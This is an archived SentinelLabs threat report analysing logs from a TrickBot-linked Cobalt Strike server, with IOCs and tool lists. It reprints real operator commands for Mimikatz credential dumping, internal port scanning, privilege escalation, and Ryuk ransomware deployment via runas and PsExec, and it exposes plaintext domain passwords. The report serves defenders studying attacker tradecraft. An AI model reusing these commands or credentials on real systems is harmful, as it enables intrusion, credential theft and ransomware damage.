

Inside a TrickBot Cobalt Strike Attack Server - SentinelLabs

By Joshua Platt

Published: 2020-06-22 · Archived: 2026-04-05 19:33:00 UTC

Research by Joshua Platt and Jason Reaves

Executive Summary

- Trickbot operators utilized PowerTrick and Cobalt Strike to deploy their Anchor backdoor and RYUK ransomware
- We review the Cobalt Strike portion of the server and how the actors were leveraging it against multiple targets.

Background

TrickBot is the successor of [Dyre](#) which at first was primarily focused on banking fraud, even reusing the same web-injection systems utilized by [Dyre](#). TrickBot has since shifted focus to enterprise environments over the years. Incorporating everything from network profiling, mass data collection and lateral traversal exploits. This focus shift is prevalent in their tertiary deliveries that target enterprise environments. Much like a company whose target will shift depending on what generates the best revenue.

This report aims to expand upon SentinelLabs earlier reports involving TrickBot:

- [Anchor project's connection of CyberCrime and APT](#)
- [PowerTrick custom PowerShell framework for high profile victims](#)

Previously, in our [PowerTrick](#) reporting, we mentioned an IOC 'wizardmagik[.]best' (95.179.214[.]127).

Typically, the domains are monitored for some time via VirusTotal in an effort to further any understanding of the IOC in question. The effort paid off as surprisingly some old attack data from the server containing roughly three sessions (10/7/2019-10/9/2019) appeared recently. While the log data is only for 3 sessions, data such as this can prove to be invaluable for defenders through showcasing actions on objectives and attack TTPs from real life scenarios.

Attack Server

The server is clearly utilized for further profiling the networks and systems. The actor leverages a myriad of open source scripts and tools to gather information and pivot to other systems from existing TrickBot infections.

This specific server comes into play in the post-Initial Access phase, which is handled by TrickBot. TrickBot modules collect large amounts of data on the infected systems and attempt to pivot to the domain controller. At this point, actors will jump in and begin the process of mapping out the network and determining what the next course of action will be. Or in other words, they initiate the valuation phase.

Anatomy of an Attack

In the later part of 2019, TrickBot conducted campaigns using the CloudApp folder. We can correlate timestamps from the Cobalt Strike logs to campaign data when TrickBot utilized the folder name[5].

```
10/07 23:56:51 UTC [input] <neo> ls
10/07 23:56:51 UTC [task] <> Tasked beacon to list files in .
10/07 23:56:55 UTC [checkin] host called home, sent: 19 bytes
10/07 23:56:56 UTC [output]
C:\Users\Default\AppData\Roaming\CloudApp\*
D      0      10/08/2019 09:56:12      .
D      0      10/08/2019 09:56:12      ..
F      884736 09/24/2019 15:23:42      44983o8uh99g8n8_pmubyhu7vfxxbh898xq8hnttmrrzf28tudu7mwrrm_11c1jn.exe
D      0      10/08/2019 04:54:21      data
F      2      10/08/2019 09:56:12      EnumerateLocalAdmin.txt
F      2      10/08/2019 09:56:01      LocalAdminAccess.txt
F      22804   09/25/2019 03:54:51      settings.ini
F      884736 09/24/2019 15:23:42      ????????.exe
```

Image1: LS command issued to beacon

The actor initially makes a note of this infection:

```
10/07 17:56:39 UTC [input] <neo> note ██████████
10/07 17:57:01 UTC [input] <neo> sleep 5
10/07 17:57:01 UTC [task] <T1029> Tasked beacon to sleep for 5s
```

Image2: Operator adds note

Once the actors decide to take a look at the infection using Cobalt Strike, they issue a task to run the Cobalt Strike-ToolKits DACheck script, impersonate SYSTEM and run Mimikatz.

```
10/07 23:18:11 UTC [task] <T1086, T1064> Tasked beacon to import: /root/CobaltStrike-Toolkit/Invoke-DACheck.ps1
10/07 23:18:11 UTC [task] <T1086> Tasked beacon to run: Invoke-DACheck -Initial True
10/07 23:18:11 UTC [task] <T1134, T1050> Tasked beacon to get SYSTEM
10/07 23:18:11 UTC [indicator] service: \\127.0.0.1 upd42d44
10/07 23:18:11 UTC [task] <T1003, T1055, T1093> Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
```

Image3: Initial tasks executed after check in

Next, they begin looking for live hosts and port scanning for particular open ports.

```
10/07 23:20:32 UTC [input] <neo> portscan 192.168.168.0-192.168.168.255 21,22,445,1433,3389,5900 icmp 1024
10/07 23:20:33 UTC [task] <T1046, T1093>
Tasked beacon to scan ports 21,22,445,1433,3389,5900 on 192.168.168.0-192.168.168.255
```

Image4: Port Scan task initiated

They also check the members of the Domain Admin group:


```
Session      : Interactive from 2
User Name    : ██████████
Domain       : ██████████
Logon Server : ██████████
Logon Time   : 7/10/2019 8:12:52 AM
```

Image8: Interactive Logon

Each machine gets profiled out.

```
10/07 18:02:06 UTC [input] <neo> ls
10/07 18:02:06 UTC [task] <> Tasked beacon to list files in .
10/07 18:02:10 UTC [checkin] host called home, sent: 19 bytes
10/07 18:02:11 UTC [output]
C:\Users\██████████\AppData\Roaming\iCloud\*
D      0      10/08/2019 04:37:57 .
D      0      10/08/2019 04:37:57 ..
F     35175   10/03/2019 07:21:56 20191003072103_BloodHound.zip
F    352560  10/03/2019 07:24:34 ad_computers.txt
F    154256  10/03/2019 07:24:42 ad_group.txt
F     5517   10/03/2019 07:24:36 ad_ous.txt
F    511582  10/03/2019 07:24:30 ad_users.txt
D      0      09/24/2019 20:59:42 data
F     228    09/25/2019 10:34:45 debug.log
F    12501   09/24/2019 16:05:53 grabber_temp.INTEG.RAW
F    67424   09/24/2019 15:16:44 settings.ini
F     5586   10/03/2019 07:24:40 subnets.txt
F   8454144  09/24/2019 16:05:53 tmp.edb
F     394    10/03/2019 07:24:44 trustdmp.txt
F    552960  09/27/2019 08:17:23 urdateuetur.exe
F    25469   10/03/2019 07:21:56 Uy0xLTUtMjEtMzk3MTY2NjgyOS0yNDE0MjU4MDg2LTYyMDY5NTg3MDI=.bin
F    567808  09/26/2019 08:22:22 ??????????????.exe
F    880640  09/24/2019 15:16:32 ??????.exe
F    552960  09/27/2019 03:28:31 ??]???.exe
```

Image9: Machine directory listing

Eventually leading to Ryuk ransomware:

```
10/08 23:09:14 UTC [input] <neo> upload /root/work/██████████/ruk/ze68_.exe (C:\Windows\Temp\Crashpad\ze68_.exe)
10/08 23:09:30 UTC [input] <neo> cd C:\Windows\Temp\Crashpad
10/08 23:09:39 UTC [input] <neo> ls
10/08 23:09:45 UTC [output]
C:\Windows\Temp\Crashpad\*
D      0      10/09/2019 10:09:26 .
D      0      10/09/2019 10:09:26 ..
F      0      09/06/2018 18:56:35 metadata
D      0      09/06/2018 18:56:35 reports
F     627    10/09/2019 10:05:11 RyukReadMe.html
F     40     09/24/2019 07:20:24 settings.dat
F    302080  10/09/2019 10:09:26 ze68_.exe
10/08 23:10:08 UTC [input] <neo> runas ██████████ \sonamt Martinplace2014 ze68_.exe
10/08 23:10:38 UTC [input] <neo> runas ██████████ \BackupExec beta2004 ze68_.exe
10/08 23:11:06 UTC [input] <neo> runas ██████████ \dbadminservice zaq123$ ze68_.exe
10/08 23:11:33 UTC [input] <neo> runas ██████████ \arun Pr0gr3ss1v3 ze68_.exe
10/08 23:11:53 UTC [input] <neo> rm C:\Windows\Temp\Crashpad\ze68_.exe
10/08 23:20:40 UTC [input] <neo> exit
```

Image10: Ryuk upload and detonate

```
10/08 22:51:48 UTC [input] <neo> cd C:\share
10/08 22:51:50 UTC [input] <neo> ls
10/08 22:51:53 UTC [output]
C:\share\*
D 0 10/09/2019 09:32:56 .
D 0 10/09/2019 09:32:56 ..
F 388 10/09/2019 09:09:20 comp.txt
F 417 10/09/2019 09:09:24 comp1.txt
F 477 10/09/2019 09:09:29 comp2.txt
F 445 10/09/2019 09:09:35 comp3.txt
F 420 10/09/2019 09:09:40 comp4.txt
F 719 10/09/2019 09:09:44 copyc.bat
F 143 10/09/2019 09:09:51 copys.bat
F 339096 10/09/2019 09:09:10 PsExec.exe
F 564 10/09/2019 09:09:56 rubc.bat
F 112 10/09/2019 09:10:04 runs.bat
F 106 10/09/2019 09:32:20 runs1.bat
F 109 10/09/2019 09:32:34 runs2.bat
F 112 10/09/2019 09:32:41 runs3.bat
F 108 10/09/2019 09:32:47 runs4.bat
F 110 10/09/2019 09:32:52 runs5.bat
F 112 10/09/2019 09:32:56 runs6.bat
F 160 10/09/2019 09:10:11 serv.txt
F 302080 10/09/2019 07:02:10 ze68_.exe

10/08 22:52:08 UTC [input] <neo> shell runs1.bat
10/08 22:52:11 UTC [output]
received output:
C:\share>start PsExec.exe -d @C:\share\serv.txt -u ██████████\arun -p Pr0gr3ss1v3 cmd /c c:\windows\temp\ze68_.exe

10/08 22:52:27 UTC [input] <neo> shell runs2.bat
10/08 22:52:31 UTC [output]
received output:
C:\share>start PsExec.exe -d @C:\share\serv.txt -u ██████████\BackupExec -p beta2004 cmd /c c:\windows\temp\ze68_.exe

10/08 22:52:38 UTC [input] <neo> shell runs3.bat
```

Image11: Ryuk detonated via PsExec

Going by the timestamps, we can guess the time period of 2 weeks for dwell time from TrickBot -> Pivot and Profile -> Ryuk.

Tools Leveraged

- LaZagne
- BloodHound
- AdFind
- PowerSploit
- SMBAutoBrute
- SessionGopher

IOCs

wizardmagik[.]best

Cobalt Strike directory zip:

0cdf2572b826dd5f7d22e109009465759fea0d4606c70d273981a73bb4e68ac

References

1: <https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/>

- 2: <https://www.fidelissecurity.com/threatgeek/archive/trickbot-we-missed-you-dyre/>
- 3: <https://www.sentinelone.com/labs/anchor-project-the-deadly-planeswalker-how-the-trickbot-group-united-high-tech-crimeware-apt/>
- 4: <https://www.sentinelone.com/labs/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/>
- 5: <https://app.any.run/tasks/8cba0d2f-683a-4402-a42d-25d469e45fc1/>

Source: <https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/>